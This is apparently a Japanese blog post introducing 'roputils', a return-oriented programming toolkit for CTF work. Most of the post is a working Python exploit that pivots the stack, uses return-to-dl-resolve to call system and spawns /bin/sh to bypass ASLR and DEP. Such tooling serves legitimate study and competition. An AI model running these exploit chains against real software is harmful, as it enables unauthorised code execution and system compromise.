roputilsを作った
主にReturn-oriented Programmingを楽に行うためのツールキットを作った。 pwntoolsやzioなどのCTFフレームワークを参考にしており、機能もかなり近いものになっている。 また、CLIツールとしてchecksec.shやpattern_create.rb、pattern_offset.rb相当の機能をクローンした。
これを使うと、「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」のコードは次のように書ける。
from roputils import * fpath = sys.argv[1] offset = int(sys.argv[2]) rop = ROP(fpath) addr_stage = rop.section('.bss') + 0x800 buf = rop.fill(offset) buf += rop.call_chain_plt( ['write', 1, rop.got()+8, 8], ['read', 0, addr_stage, 400] ) buf += rop.pivot(addr_stage) p = Proc(rop.fpath) p.write(p32(len(buf)) + buf) print "[+] read: %r" % p.read(len(buf)) addr_link_map = p.read_p64() addr_dt_debug = addr_link_map + 0x1c8 buf = p64(rop.gadget('ret')) buf += rop.call_chain_ptr( [rop.got('read'), 0, addr_dt_debug, 8], [addr_stage, addr_stage + 295] ) buf += rop.dl_resolve(addr_stage + len(buf), 'system') print "[+] offset to string: %d" % len(buf) buf += rop.string('/bin/sh') buf += rop.fill(400, buf) p.write(buf) p.write_p64(0) p.interact()
設計方針は以下。
- 過度の抽象化、カプセル化を避ける。初期化後に内部状態の更新を行うものは、ベースアドレスなど最低限のもののみとする。
- デフォルト引数を活用する。たとえば、
ELF.got(self, name=None)
はnameを指定したときその関数のGOTアドレス、指定しないときGOTセクションの先頭アドレスを返す。また、p32(x)
、p64(x)
関数はxがintの場合はpack、strの場合はunpackする。
roputilsと名前をつけてはいるが、必要になるときもあるのでシェルコード、format stringのクラスも実装した。 必要に応じて改良していきたい。